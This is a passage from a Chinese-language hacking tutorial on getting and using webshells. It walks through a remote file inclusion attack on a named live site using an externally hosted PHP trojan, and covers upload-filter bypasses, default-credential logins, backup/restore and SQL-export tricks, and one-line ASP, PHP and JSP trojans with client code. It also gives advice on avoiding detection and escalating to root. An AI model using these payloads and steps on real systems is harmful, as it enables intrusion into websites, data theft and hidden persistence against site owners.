因为这个系统中出现了四个漏洞,所以我们有四种方法获得 webshell,他们分别是: http://rapworld.iglu.cz/guest/add.php?Htmls= http://www.sagi.net.cn/php.txt http://rapworld.iglu.cz/guest/admin.php?Htmls= http://www.sagi.net.cn/php.txt http://rapworld.iglu.cz/guest/look.php?Html= http://www.sagi.net.cn/php.txt http://rapworld.iglu.cz/guest/re.php?Html= http://www.sagi.net.cn/php.txt
其中 http://www.sagi.net.cn/php.txt 就是我们所用的 PHP 木马地址了,而它前面的就是网站中存在的文件包含漏洞的 URL 了,在前面的漏洞公告中已经说明过了。这里我使用
http://rapworld.iglu.cz/guest/add.php?Htmls=http://www.sagi.net.cn/php.txt 就轻易的获得了这个网站的 webshell,如图 2-188 所示。
图 2-188 利用漏洞获得的 Webshell
这个网站使用的是 Linux 操作系统,利用 Apache 搭建的服务器。网站的绝对路径为/igl u/velkej-disk/home/rapworld/web/default/guest,而且在这个目录下的权限是超级管理员权限,即为 root,可以仔细看图 2-188 中/iglu/velkej-disk/home/rapworld/web/default/guest 后面括号中是为(drwxrwxrwx),它就代表着超级管理员的权限了。这里要提示大家:关于 UNIX/Linu
x 的权限的知识,在 UNIX/Linux 系统中,目录及文件的权限分为所有者权限(属主权限)、
同组用户权限、其它组用户权限。而每一组权限又分为 r 只读、w 只写、x 执行。比如上边的 rwxrwxr-x,第一个 rwx 表示文件及目录的所有者的权限为读、写、执行;而第二个 rwx表示同组用户的权限为读、写、执行;第三个 r-x 表示其它组用户的权限为读和执行。我们前面提交的是木马php.txt 已经被放在了/iglu/velkej-disk/home/rapworld/web/default/guest 目录下了。其默认上传后的权限为 rw-r--r--,如果是.php 扩展名的话,就可以直接访问了,只可惜是.txt 的,因此还得将这个.txt 文件改为.php 文件。在改名前,注意一下这个 php.txt 文件,因为它默认并没有 x 执行权限,因此我们要想给它改名的话,还得先使用 chmod 命令给它设置可执行权限。提示:chmod 命令可以用来更改文件的属性,即可以修改我们文件的权限。在我们 webshell 中,我们可以利用它已经提供的这个功能来完成这个操作,如图 2-189 所示。
图 2-189 更改文件权限
因为是要更改 php.txt 的后缀名,而网站的绝对路径是/iglu/velkej-disk/home/rapworld/we b/default/guest/,所以在param1 中应该我们填入/iglu/velkej-disk/home/rapworld/web/default/g
uest/php.txt。而在 param2 中我们一定要添入 0777。0777 代表的意思就是 rwxrwxr,也就是超级管理员的权限,这里不过只是用了数字表示而已。然后我们点击“Execute”按钮执行,执行完毕以后就会将 rwxrwxrwx 权限赋给 php.txt 文件了。
更改完 php.txt 的权限后,就要将 php.txt 改为 php.php。这个时候我们要用到一个 rename
的 命 令 , 它 的 作 用 就 是 对 文 件 进 行 重 命 名 。 我 们 运 行 rename
/iglu/velkej-disk/home/rapworld/web/default/guest/php.txt
/iglu/velkej-disk/home/rapworld/web/default/guest/php.php 后就成功的对文件进行重命名了。那么在以后我们只要输入 http://rapworld.iglu.cz/guest/php.php 就可以访问我们的 Webshell拉,如图 2-190 所示。
图 2 -190 更改为 php.php 后返回的 webshell
当然,我们得到了 webshell 并不是最高权限,如果还要继续渗透的话,得到改网站服务器的 root(超级管理员)的权限。可以运行 php 木马最下方的“Bind port to / bin/bash”或是 “back-connect”来尝试得到对方系统的 shell(类似 Windows 下的 cmd s hell 的那种命令执
行环境)。然后我们上传这个系统存在本地溢出的攻击程序,最后编译执行,如果溢出成功的话,就会获取对方系统的 root 权限。不过,并非每一个网站都可以成功得到对方的 shell的,即使是使用的反弹连接方式也不一定就每次都会成功(比如对方有防火墙,或是因为网络原因)。对于这个方面这里不详细的讲解,大家可以去看一些系统的本地溢出程序的使用方法。
对于远程包含漏洞,除了手工的检测方式外,也可以利用一些工具来进行。这里我向大家推荐 r-include2 这款工具(在光盘中已自带),它的使用格式为:r-include2 检测网站 远程包含的文件 shell 文件 -r 。如果我们省略 shell 文件的话,默认将会使用
http://www.sagi.net.cn/cmd.txt 这个文件,在“[cmd]$”提示符后输入我们想要执行的命令就可以了。我还是以 http://rapworld.iglu.cz/guest/来作为例子说明,使用工具 r-include2 我们只需要输入 r-include2 http://rapworld.iglu.cz/guest/ add.php?Htmls= -r 就可以得到一个 shell 了,如图 2-191 所示。虽然事实上它并不是一个真正的 shell 环境,但对于习惯了入侵 UNIX/Linux的黑客来讲,却更容易接受这种命令执行环境。
图 2-191 获得的一个 shell
文件包含漏洞针对的基本上都是 UNIX/Linux 系统(Windows 系统只占少数),因此,倘若大家想更好的来掌握远程文件包含漏洞的利用,诸如一些命令的使用,如何进行本地溢出,甚至是如何安装 rootkit,如何制作后门等,就必须先掌握 UNIX/Linux 系统的一些基础知识了,所以希望大家在学习文件包含漏洞的同时也能够适当去学习一些 UNIX/Linux 知识,这样就更加利于我们入侵了。
其实,大部分文件包含漏洞的使用方法都差不多,在得到 webshell 后我们可以做非常多的事。比如,在 UNIX/Linux 系统中,我们输入 etc/passwd 后就可以看到服务器上的密码文件了;还可以提升权限获得系统控制权。这样会涉及到很多 UNIX/Linux 的知识,本书并不打算讲太多 UNIX/Linux 方面的知识,所以在光盘中我已经给大家提供了一本关于
UNIX/Linux 的书。对于 Webshell 的使用方法和提权,接下来就给大家介绍。
旁注攻击
说起旁注,其实也就是看同一台服务器上是否绑有多个站点。因为现在大部分网站都是使用的虚拟主机,如果每一个网站都是一台服务器的话,那电信就会亏本死了。如果绑有多个站点,那么就算其中一个站点的脚本做得很安全,我们也可以从另一个网站进行突破。
我们说的旁注一般指的是绑了不同域名的不同站点上的旁注,这里我称为广义上的旁注。其实,还有一种由于同一站点内使用了多套不同程序,其中一套也许比较安全,但另一
套却是有漏洞的。这里我称之为狭义的旁注。如动力 3.51+dvbbs7.1 的站点中,dvbbs7.1 也许比较安全,但动力 3.51 漏洞百出,这就是狭义旁注利用的一个例子。我们在入侵的时候就先攻破动力 3.51 后获得 webshell,那么同样我们也可以搞定使用 dvbbs7.1 系统的网站。关于狭义的旁注比较好理解和利用,我这里就不多说了,只是说一下一个极易被管理员忽略的狭义旁注的利用就可以了。
这个容易被人忽略的地方是 ewebeditor,ewebeditor 是一款优秀的基于网页的在线编辑器,很多系统都会选择它作为第三方插件,实现在线编辑的功能。但是,许多站长并不知道自己下的系统中还包含有 ewebeditor,所以是很少有人会去改它的默认管理员用户名、密码数据库路径的,这就给我们带来了入侵的机会。
怎么判断一个系统有没有用 ewebeditor 呢?如图 2-192 所示,如果有图中标记处的按扭出现的系统就大致可以确定该系统是用了 ewebeditor。
图 2-192 ewebeditor 系统
好了,下面在出现图 2-192 所示页面的地方直看源代码,我们现在得到了 ewebeditvv的路径为 edit,访问 www.xxxx.com/edit/admin_login.asp,来到图 2-193 所示页面,用默认用户名 admin,密码 admin 试试是不是进去了啊!如图 2-194 所示。
图 2-193 ewebeditor 后台登陆页面
图 2-194 利用默认密码进入后台
如果不行,那就试试访问 www.xxxx.com leli t/db/ewebeditor.mdb,看是不是能下载
ewebeditor 的数据库了呢?如图 2-195 所示。不过密码是 md5 的,又要慢慢破了。
图 2-195 下载 ewebeditor 系统数据库
简单提了一下一个容易被人忽略的 ewebeditor,下面要开始讲我们通常讲的广义上的旁注了。引起这个旁注的原因,主要是因为我们现在使用的 DNS 域名是需要统一向总部位于美国的国际域名组织进行注册的,而国际域名组织为了方便管理等原因,将域名的信息放到了 whois 查询系统中,这样,只要用 whois 就能查出某域名解析的 IP 是什么了,得到解析的 IP 后,我们可以继续通过 whois 的查询功能,在域名记录里寻找到所有解析到这个 IP 的域名信息,这样我们就可以知道一个服务器上绑了多少个站点了。
下面我们来具体实践一下,就拿我的 cnnsafe.com 开刀吧。
首先打开 http://wbois.webbosting.info,如图 2-196 所示,在框中输入 cnnsafe.com,点 Go,来到图 2-197 所示页面,得到 CNN 安全网的 IP,然后再点那个 IP,就会来到图 2-198所示页面,还绑有几个域名在这里的吗,呵呵,下面就可以看看其它站有没有什么词了。
图 2-196 打开 wbois 查询
图 2-197 查看是否存在其他站点
图 2-198 查询后的结果
如果 E 文不好,也可以用老兵的工具查询,步骤是一样的,如图 2-199 到 2-201 所示。找到在同一服务器上的站后就用前面的方法检查站点安全性吧。
图 2-199 虚拟主机查看工具
图 2-200 输入要查询的域名及 IP 地址
图 2-201 查询后返回的虚拟主机
如何获取Webshell
相信大家在前面中已经初步接触了 Webshell,那么什么是 webshell?webshell 其实就是 web 入侵的一种脚本攻击工具。简单的说来,webshell 就是一个 asp、php 或 jsp 木马后门,我们在入侵了一个网站后,常常在将这些 asp、php 或 jsp 木马后门文件放置在网站服务器的 web 目录中,与正常的网页文件混在一起。然后黑客就可以用 web 的方式,通过这些木马后门控制网站服务器,包括上传下载文件、看数据库、执行任意程序命令等。webshell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过 80 端口传递的,因此不会被防火墙拦截。并且使用 webshell 一般不会在系统日志中留下记录,只会在网站的 web 日志中留下一些数据提交记录,如果不查看 web 日志是不可能发现我们入侵的痕迹的。前面给大家讲了那么多的攻击方法目的就只有一个,那么就是获得
webshell。而本节就来给大家介绍一下在我们通过发现漏洞后(如注入)如何获得一个网站的
webshell 的一些常用方法。
上传
现在功能稍微强大一点的系统都提供了上传的功能,利用上传我们向服务器传送文件、图片等等,从而使系统更加美观和人性化。但是上传弄的不好就会出现比较大的问题。如果它在处理文件上传时对文件的后缀名处理不当,那么我们就可以顺利的上传一个木马,一下就得到了 webshell。这个漏洞前面所讲的文件包含漏洞一样,可以直接得到 webshell。
有一些提供了上传功能,但同时安全性也是最差的系统会出现这样的上传漏洞。我们不需要任何权限就可以得到上传文件的功能。例如存在一个这样的 ASP 系统它提供给我们是用来上传图片的,但是却没有检查我们上传文件是不是图片。所以这个时候我们可以上传一个
ASP 木马进去,一下可以得到 webshell。安全性稍微好一点点的,会过滤 ASP 后缀名,但是这样并不能阻止我们得到 webshell。因为是 ASP 系统,所以服务器肯定是 windows。因此我们可以上传一个 ASPX 木马或者将 ASP 木马后缀改成 ASA 或 CER,因此 IIS 对这些文件同样会解析,所以我们上传的这些文件在服务器中同样会被执行,那么同样可以得到一个
webshell。曾经,还出现过这样一个上传漏洞,就是将 ASP 木马的后缀改成 AASPSP,那么就可以得到一个 webshell,这是因为系统过滤了 ASP,所以当我们提交 AASPSP 后中间的 ASP会被去掉,那么这个时候 AASPSP 是不是又变成了 ASP 呢?
这些漏洞同样存在于 PHP 和 JSP 中,例如 PHP 和 JSP 一般都是用 Linux 或 Unix 做服务器,而 Linux 或 Unix 还会解释 Perl 文件的(Perl 文件的后缀名 pl),所以如果系统过滤了
PHP 或 JSP,那么可以试着上传一个 perl 木马,那么同样可以得到 webshell。而如果 PHP和 JSP 系统是架构在 Windows 服务器上的话,那么可以上传 ASPX、ASA、CER 等文件,也可以获得 webshell。他们虽然语言不同,但是都是方法和技巧相通的。
对于上传漏洞的攻击,我们就一定要提到动网 7.0SP2 之前的文件上传漏洞了。至于漏洞的原理这里就不提了,只是告诉大家如何利用这个漏洞。
要利用动网的这个上传漏洞我们要请出桂林老兵写的万能上传工具,如图 2-202 所示。只所以叫万能上传是因为大名鼎鼎的动网都没有注意到这个严重漏洞,那么其他系统也基本上避免不了,所以称它为“万能上传”。
图 2-202 万能上传工具
我们利用 google hack 技术找到没有打过 SP2 补丁的 dvbbs,注册一个账号,登陆进去后看有没有禁止上传,如果没有禁止。我们就是提取当前 cookies 保存起来并填在万能上传工具中,然后在万能上传工具处填好漏洞 url,即所要提交的地址,还有上传的木马文件和如图 2-203 所示,点“上传”,不一会就提示成功了,我们现在来访问这个上传后的文件,如图 2-204 所示,那么这个时候我们就得到了一个 webshell 了,如图 2-205 所示。
图 2-203 填入所攻击的网站的 cookie、URL 及本地机器的木马路径
图 2-204 木马上传成功
图 2-205 成功获得 webshell
当然,并不是所有的系统都能用这个方法上传的。下面给大家总结几个常见的上传方法。
(1)、进入后台直接上传。有些系统对管理员可是十分信任的哦,进了后台只要找到有上传的地方你就可以直接选匹马放上去,绝不会有任意阻拦,如图 2-206 所示。一般来说是什么系统就上传什么木马,比如是 PHP 系统那么我们就上传 PHP 木马。目前这种问题在 php 和
jsp 的一些程序比较常见,MolyX BOARD 就是其中一例,我们直接在心情图标管理上传.php类型, 虽 然没有 提 示,其 实 已经成 功 了,上 传 的文件 url 应该 是
http://forums/images/smiles/下,还有以前的联众游戏站和网易的 jsp 系统漏洞就可以直接上传 jsp 文件。文件名是原来的文件名,bo-blog 后台可以可以直接上传.php 文件,上传的文件路径有提示。以还有以前非常流行的 upfile.asp 漏洞(动网 5.0 和 6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传 webshell 到网站任意可写目录中,从而拿到网站的管理员控制权限。
图 2-206 利用后台直接上传木马
(2)、添加上传类型上传。如果不能直接上传,可找找看有没有添加上传类型的地方,对于
ASP 系统有的话添加一个 ASP 就可以了,如果不能添加 ASP 后缀的话,还可以在上传类型中增加 asp ,注意,asp 后面是有个空格的,那么上传一个后缀名为 asp ,的木马也会被解释成 ASP,同样可以获得 Webshell,例如 LeadBbs3.14 后台获得 webshell 方法是:在上传类型中增加 asp ,注意,asp 后面是有个空格的,然后在前台上传 ASP 马,当然也要在后面加个空格。我们还可以添加允许上传 ASA、CER 等文件,然后把.asp 的后缀改为 ASA 或 CER上传,一样可用的,如图 2-207 所示;如果是 PHP 系统那么可以添加一个 PHP,如果不行还可以试着添加 pl,然后上传一个 Perl 木马,甚至可以添加 ASP、ASA、CER 然后上传。对于
php 系统的后台,我们还可以添加.php.hack 的上传类型,这是 php 的一个特性,主要是因为 Apache 在解析文件后缀上的一些小问题导致的,我们只要保证最后的那个后缀名不是已知的就可以,例如 php 会将 php.hack 作为.php 来正常运行,这是因为 hack 这个后缀名根本就没有,所以 Apache 就会忽略.hack 的解析,从而解析 php,从而也可成功拿到 shell。
图 2-207 添加其他的上传后缀名
(3)、抓包上传。这里就要利用 Win2000 的一个小漏洞了,如果文件名的结尾是空格或“. “号,那么 windows 会自动把这个符号“吃”掉。那么,我们就可以添加允许上传“ASP ”文件,注意 ASP 后有个空格,ASP 可不等于 ASP 啊,所以代码里的限制就没用了。然后我们来到文件上传界面,选择一个 ASP 文件,先别上传。我们打开抓包工具 Wsock Expert,如图 2-208 所示,选择监控 IE 的上传窗口,然后回到上传界面,点击上传,提示上传失败。预料之中。我们来到 Wsock Expert,找到刚才提交的数据包,如图 2-209 所示,看到那个
mm.asp 没有,我们在这个后面加个空格,再用 NC 提交,成功上传!
图 2-208 打开 Wsock Expert
图 2-209 利用 Wsock Expert 抓取数据包
(4)、利用表单冲突上传。用这个方法最典型的就是动力 3.51 的上传了。我们同样注册一个用户,来到发表文章处。切换到“源代码”模式,输入下面的代码:
<FORM name=form1 onsubmit="return check()" action=upfile_article.asp method=post encType=multipart/form-data><INPUT class=tx1 type=file name=FileName> <INPUT class=tx1 type=file name=FileName><INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM:
rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit></FORM>
再来到“预览”模式,是不是看到了两个选择上传文件的框却只有一个上传按钮啊?,如图 2-210 所示。我们在第一个框处选择一个 ASP 文件,第二个框处选择一个 jpg 文件,然后点上传。可能会提示冲突,但我们返回“源代码”模式,就可以看到我们上传后的 Webshell地址了。
图 2-210 添加两个上传框
(5)、利用代码对文件类型的限制上传。现在许多代码为了安全都限制了上传 ASP、PHP、JSP文件,但一些代码的限制方法实在令我不敢恭维。我见过有些代码的限制方式是一遇到 ASP、
PHP、JSP 就把他们去掉的。那么,我们完全可以添加一个上传类型 ASASPP、PPHPHP、JJSPSP,这样一来,在上传过程中代码会把中间为 ASP、PHP、JSP 去掉,后缀的自然也就变为 ASP、
PHP、JSP 的了。
(6)、利用其它上传工具。老兵的万能工具虽名为万能,但因为有些系统的上传代码与动网的是有差异的,所以这个工具对它就失效了。所以大家要随时关注漏洞的动态信息,如果发现公布了某个上传漏洞的专用工具,那么利用它就可以顺利的获得 webshell。
后台备份及恢复
现在很多功能强大的系统都提供了一个叫后台数据库备份与恢复的功能,在这个方面做的最好的要算是动网了。在我们进入到网站后台后,经常使用后台备份与恢复来获得
webshell。这里我就以利用动网和动力这两个系统的后台备份及恢复来获得 webshell 为例子来说明,对于其他如 PHP、JSP 系统,如果也提供了后台备份及恢复的功能,那么他们得到 webshell 的方法和动网下的很类似。
先说说常规的方法吧,一般地,我们就是把一个 ASP 木马改为 gif 后缀上传,然后记下上传后的地址,下面,我们来到数据备份页面,如图 2-211 所示,在“数据库路径”处填自己刚才上传的文件名,在“备分后路径”处填自己想要种马的地址,注意后缀为 ASP,点 “备份”后,我们把它的地址和网站的 URL 组合后就是我们的 webshell 地址,那么就得到了自己想要的 webshell。
图 2-211 数据备份页面
对于动网它允许我们自定义当前数据库地址,但是动力确不可以这样。不过我们可以通过暴库后台来看到动力的数据库地址。和前面一样,先把一个 ASP 木马改为 gif 的后缀,然后上传。现在我们来到“数据恢复”页面,看到没有有一个可以自定义恢复数据库的路径,如图 2-212 所示。我们选择刚才上传的文件路径,点击“恢复数据”按钮,如图 2-213 所示。
图 2-212 自定义恢复数据库的路径
图 2-213 恢复我们刚才上传的文件
因为我们恢复的时候是用我们上传的木马文件代替了系统的数据库,所以恢复成功后整个系统就用不了。但我们只需访问数据库地址就可以得到 webshell 了。当然,如果我们这样入侵的话,那没什么很大的意义,因为系统用不了,管理员几分钟就会发现网站被入侵了。所以为了不被别人发现最好还是先把系统的数据库备份好,在让我们得到 webshellshell后再用 webshell 上的功能把系统的数据库恢复回去。那么这样既达到了获得 webshell 的结果又达到了没破坏网站的目的,从而使我们的 webshell 隐藏性高一些。
SQL导出
对于后台使用 MSSQL 数据库且网站有注入点的网站来说,我们还可以用由臭要饭的发明的 SQL 写入导出大法得到 webshell,其原理是在知道网站物理路径的情况下通过往 SQL数据库中写入一个带木马的表,再将这个表导出,就得到 webshell 了。为了不让管理人员发现,我们还要删掉这个新建的表。为此臭要饭的还专门写了一个叫 getwebshell 的工具来获取 webshell,如图 2-214 所示。
图 2-214 getwebshell 的主界面
其中,url 为存在注入漏洞的网站地址。对于木马,这里有“采用默认木马”、“选择木马”及“远程木马位置”。默认的情况下是采用这个工具自带的木马,不过我们一般不要用这个功能;“选择木马”就是利用我们本地电脑的木马,点击“选择”可以用来选择要上传不同的木马;而“远程木马位置”就是放在远程主机或网站上的木马,要使用我们填上木马的网址就可以了。
选项有“BACKUP DATABASE”和“Web 作业”两个选择,这个我们可以随便选。而“增加成功后,删除新建的临时表”是为了防止发现我们建立了一个表而设置的,默认情况下是选上,所以为了增加隐蔽性大家不要把它去掉。
而我们点击“设置”按钮后就会出现我们所要建的临时表的名称、字段名及字段类型。这些我们都可以按照自己的意愿设置,如图 2-215 所示。一切弄好了以后点击“开始”按钮后就进行了,如果成功的话,就会获得 webshell。在“操作信息”中有我们所需要的返回信息。
图 2-215 对临时表的设置
写入过滤不完全
利用过滤不完全写入一句马的服务端,然后利用客户端进行连接得到一个 webshell是目前得到 webshell 的最为主要的方法之一。要利用写入过滤不完全来获得 webshell 就涉及到一句话木马了。所以在介绍过滤不完全之前先介绍下一句话木马。
一句话分为客户端和服务端,其实就是 C/S 模型的网页木马,即有服务端和客户端之分。要利用一句话木马得到 webshell,首先就是要将服务端代码插入到网站中,让服务端可以在所要入侵的网站中可以被执行,这个时候我们就得到了一个小马了,即一个 shell;然后我们利用客户端连接服务端,上传一个功能非常强大的木马,这样我们就获得了一个大马,即 webshell。
先来介绍下 ASP 下的一句话木马,ASP 下常见的一句话木马的服务端是<%execute
request("value")%>,其中,value 我们可以是任何值。当然,我们还可以对服务端<%execute
request("value")%> 进 行变换,如 <%execute request.form("value")%>、 <%eval
request("value")、<%On Error Resume Next execute request("value")%>等等。
接下来我们就是要把 ASP 一句话木马插入到网站中,不过这里的插入是指把一句话木马的服务端插入到 ASP 文件中去,因为服务端其实就是一小段 ASP 代码,至于其作用在后面的第 7 章会有详细的介绍,插入到 ASP 文件中后,我们的服务端就会被执行,那么这个时候就得到了一个 shell 了。
而我们来看看 ASP 一句话木马的客户端,如图 2-216 所示。
图 2-216 ASP 一句话木马的客户端界面
在客户端的界面中,我们利用它可以得到一个 webshell,要得到 webshell 自然就是要上传一个 ASP 木马才能得到拉,所以我们要把 ASP 木马的代码复制到“添入生成木马的内容”的区域中,不过要把“添入生成木马的内容”这几个字删除掉。比较著名的 ASP 木马海洋顶端等等,我们把它的代码复制到“添入生成木马的内容”即可。要使用这个客户端,首先要设置一下这个客户端,先来看看它的源代码,我们点击右键选择“查看源文件”即可看到源代码了,代码如下所示:
<form action=http://www.gzyecheng.com/zhishi/200582432342.asp method=post>
<textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream") lP.Open
lP.Type=2 lP.CharSet="gb2312" lP.writetext request("value")
lP.SaveToFile server.mappath("wei.asp"),2 lP.Close
set lP=nothing response.redirect "wei.asp"
</textarea>
<textarea name=joeving cols=120 rows=10 width=45> 添 入 生 成 木 马的内容
</textarea><BR><center><br>
<input type=submit value=提交>
其中,第一句代码中的 action 后的 URL 地址就是我们插入服务端的 ASP 文件的完整 URL地址。这个 URL 地址非常的关键,决定着我们得到 webshell 的成败,action 的值就是我们插入服务端代码的 ASP 文件的 URL 地址,一定要记住了。
还有就是 lP.writetext request("value") 这行代码中的 value 要注意了,前面我说
<%execute request("value")%>中的 value 可以随便填什么,这个没有错,但是不管
<%execute request("value")%> 中的 value 为任何值, 它都必须和 lP.writetext request("value") 中 的 value 相同。比 如,我们 服务端输 入的是 <%execute request("cmd")%>,那客户端的 lP.writetext request("value")就必须改为 lP.writetext request("cmd")。
最后就是 wei.asp 这个文件名,它是指我们我们得到 webshell 后的文件名,我们也可以随便改,比如改成 shell.asp,那么 webshell 的文件名就为 shell 了。
只要对上面三个进行了设置,然后添入我们 ASP 木马的内容,点击提交后,就可以得到 webshell 了。如果觉得上面的麻烦,那么还可以使用海阳顶端网 ASP 木马 2006 C/S 模式转换器得到一个专用的的客户端,如图 2-217 所示。
图 2-217 海阳顶端网 ASP 木马 2006 C/S 模式转换器
要生成客户端,首先点击“打开”按钮,选择我们的 ASP 木马,然后点击“转换”按钮就得到了客户端了,如图 2-218 所示。下面的“生成服务端页面”是用于生成服务端的作用,可以在服务端密码处输入服务端的密码,其实密码就是 request("value")中的 value 的值。
图 2-218 生成的客户端页面
生成的客户端如图 2-218 所示,其中在表单提交地址中我们所要输入的 URL 地址就是插入一句话木马服务端的那个 ASP 文件的 URL 地址。而密码就是进入 webshell 的时候所要输入的密码。而在下面的区域里,生成的客户端已经自动为我们添入了 ASP 木马的代码,我们只需要填上 URL 地址和密码后,点击提交即可得到 webshell。
前面我们说了,要利用一句话木马得到 webshell,首先必须将服务端插入到 ASP 文件中。那么在 ASP 下,我们怎么把服务端插入到网站的 ASP 文件中呢?有两种方法:
一、 在通过注入等手段进入后台后,利用后台所提供的功能插入服务端。常见的可以使用的地方有如友情连接、页面编辑、模块编辑等等,只要可以输入数据的地方大家都可以试着输入服务端,不过一定要记着这个输入数据的文件的 URL 地址,这个 URL 在后面会有很重要的重要。
这里我以leadbbs 来为大家演示,首先我通过前面所讲的入侵方法进入了一个 leadbbs论坛的后台。进入后台后,利用 leadbbs 后台提供的友情链接添加处写入 webshell,我们来到后台的添加友情链接处,点“新增友情链接”,而实现“新增友情链接”这个功能的文件名为 BoardLink.asp。然后在“网站名称处填上一句话木马的服务端
<%execute request("#")%> ,其它乱填,如图 2-219 所示。
图 2-219 后台写入服务端
然后我们利用客户端进行连接,这里最好还是用海洋顶端生成的客户端来连接,我们在 URL 地址上填入 BoardLink.asp 文件的完整路径,并填入 webshell 的密码,如图 2-220 所示。
图 2-220 利用刚才得到的 shell 提交一个功能强大的木马
点击“提交”按钮之后,我们就可以得到了一个 webshell 了,是不是很简单呢?如图 2-221 所示。
图 2-221 得到 webshell
二、 通过暴库或其他方法(如默认数据库地址)得到网站数据库的绝对路径。但是暴出的数据库必须是以 asp 结尾的数据库,即数据库的格式为 asp。有了数据库地址后,我们就要利用网站过滤不完全的漏洞往数据库中插入我们的服务端代码,即我们所输入的服务端要插入到数据库中才会起作用。例如利用系统提供的评论功能将服务端插入到数据库中。当然必须要系统没有对这些代码进行过滤,过滤了还是没办法了。在这个方面最为典型的就是许愿版漏洞了,首先利用%5c 暴库得到数据库的绝对路径,其中数据库为
asp 格式的,如图 2-222 所示。
图 2-222 得到许愿版网站数据库的绝对路径
在得到数据库绝对路径之后,我们在这个许愿版里许一个愿望,当然内容是输入一句话木马的服务端<%execute request("#")%>,那么这个时候我们的服务端就被插入了数据库。我们在利用客户端连接,其中 URL 地址就填上数据库的地址,提交之后我们就顺利的得到
webshell,如图 2-223 所示。
图 2-223 通过暴库得到的 webshell
上面讲的是 ASP 下的一句话木马,那接下来介绍下 PHP 下的一句话木马。PHP 下一句马 的 服 务 端 有 : <?require($_REQUEST['a']);?> 、 <?require($a);?> 、
<?@include($_POST["a"]);?>等等。
同样要在 PHP 网站利用一句话木马得到 webshell,首先要将我们的服务端插入到网站中的php 文件中去,所以我们只要把服务端插入到网站的 php 文件中就可以得到一个shell。一般对于 php 网站来说,要将服务端插入到网站的文件中也有两种办法,一也是利用后台的功能,将服务端插入到 php 文件中,和 asp 中的第一点是一样的。二可以利用目前很多 php网站中使用的文本数据库,即数据库文件的后缀为 php,所以一般对于我们输入的数据也是放入到 php 格式的文件中去了,那么我们往该数据库中插入服务端即可得到一个 shell,和
asp 中的第二点也是比较类似。不过还是也前面一样,我们所插入的服务端的 URL 地址大家可不要忘记了。
在插入服务端成功之后,就是要用客户端进行连接了,这里我强烈向大家推荐一款叫做“ZV新型 PHP 一句话木马客户端 GUI 版”的工具给大家,它的把客户端做成了一个软件的形式,使用起来非常的方便,如图 2-224 所示。
图 2-224 ZV 新型 PHP 一句话木马客户端 GUI 版的界面
在图 2-224 中,“提交地址”就是我们所插入了 PHP 一句话木马服务端的那个 php 文件的 URL 地址。“密码”为我们进入 PHP 的 webshell 的密码,功能列表就是选择我们所上传的
php 大木马的一些功能,服务端模式可以看到它是用的是<?@include($_POST["你的密码
"]);?>提交的,其中“你的密码”就是前面“密码”输入框中所要输入的内容。
当我们把上面的提交地址和密码输入好了以后,并选择所要上传的 PHP 木马的一些功能,点击“提交按钮”就可以得到 PHP 下的 webshell 了。
对于 JSP 来说,同样的存在一句话木马。不过 JSP 的一句话木马的服务端可和上面的有点 不 一 样 哦 , 其 服 务 端 代 码 为 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f")
)).write(request.getParameter("t").getBytes());%>。我们可以将这个服务端代码保存
为 1.jsp,放到 JSP 服务器下去,我们提交 http://localhost/1.jsp?f=1.txt&t=hack,然后我们再提交 http://localhost/1.txt,一句话木马就出来了,它的内容为 hack。
这里给大家接受一下 f 和 t 这两个参数,其中参数 f 是用来在服务器中生成文件的文件名,而参数 t 是用于接受所提交的数据。
对于这个一句话木马,我们可以这样利用。首先还是一样,将这个服务端插入到 JSP网站中的 jsp 文件中,而且记住这个文件的文件名,这里假设我们插入了服务端的文件的 U
RL 地址是 http://www.xxx.com/article.jsp。插入服务端成功之后,就是接下来就是要将我们大马传到 JSP 网站中去从而得到 webshell。
这里我们提交 http://www.xxx.com/article.jsp?f=shell.jsp&t=http://www.xxx.co m/shell.txt。其中 shell.jsp 就是我们在服务器中生成的文件,即 JSP 木马文件名。而参数 t 的值为 http://www.xxx.com/shell.txt 是我们 JSP 文件的代码,当然 t 参数的值也可以直接是 JSP 的代码,这里即支持通过 URL 提交木马代码也支持直接提交 JSP 木马代码。和我们前面所讲的 PHP 中的文件包含漏洞比较类似。当成功提交之后,我们就可以得到了一个
JSP 的webshell 了。
上面我简单的介绍了目前几种常见的、主要的获得 webshell 的方法,相信大家已经掌握了,当然获得 webshell 的方法远远不止上面所将的几种。但是获得 webshell 的思想是不会变的,关键是要看大家怎么灵活运用、触类旁通。要达到灵活运用和触类旁通需要通过长期知识的积累,希望上面的方法能够给大家起到抛砖引玉的作用。各位继续加油吧!
使用Webshell及提升权限
webshell的基本使用方法
上面说了那么多的入侵方法,相信大家已经够获得自己的 webshell 了吧。那么当我们拿到 webshell 之后怎么使用呢?这是很多刚刚入门的朋友感到困惑的问题。下面我就以海洋顶端 2006ASP 木马为例来给大家说说 webshell 的一些基本使用方法。
首先,我们来下载海洋 2006 木马文件包,解压后会发现七个文件,它们分别是:
2006.asp、unpack.vbs、2006×.exe、2006×2.exe、2006Z.ese、hididi.ini、ReadMe.Txt。其中 2006.asp 就是 ASP 木马的主文件,我们用记事本打开这个主文件,把默认密码
lcxmarcos 改为自己想要的密码,当然不改也行),然后用前面说的方法把这个文件放到网上去。用密码登录后,我们就可以看到如图 2-225 所示页面。这里列举了十三项大的功能,我只是就其中的一部分来讲解,其它的请各位自己去摸索。
图 2-225 海洋顶端木马主界面
首先看第 8 项功能:FSO 文件浏览操作器,FSO 大家应该很熟了吧,点击进入后我们可以看到如图 2-226 所示的界面。如果权限足够的话,我们可以在这里对服务器上任何的盘符进行包括新建,删除,读取,修改,修改属性,运行等文件操作,具体怎么做不用我教了吧?
图 2-226 FSO 的使用
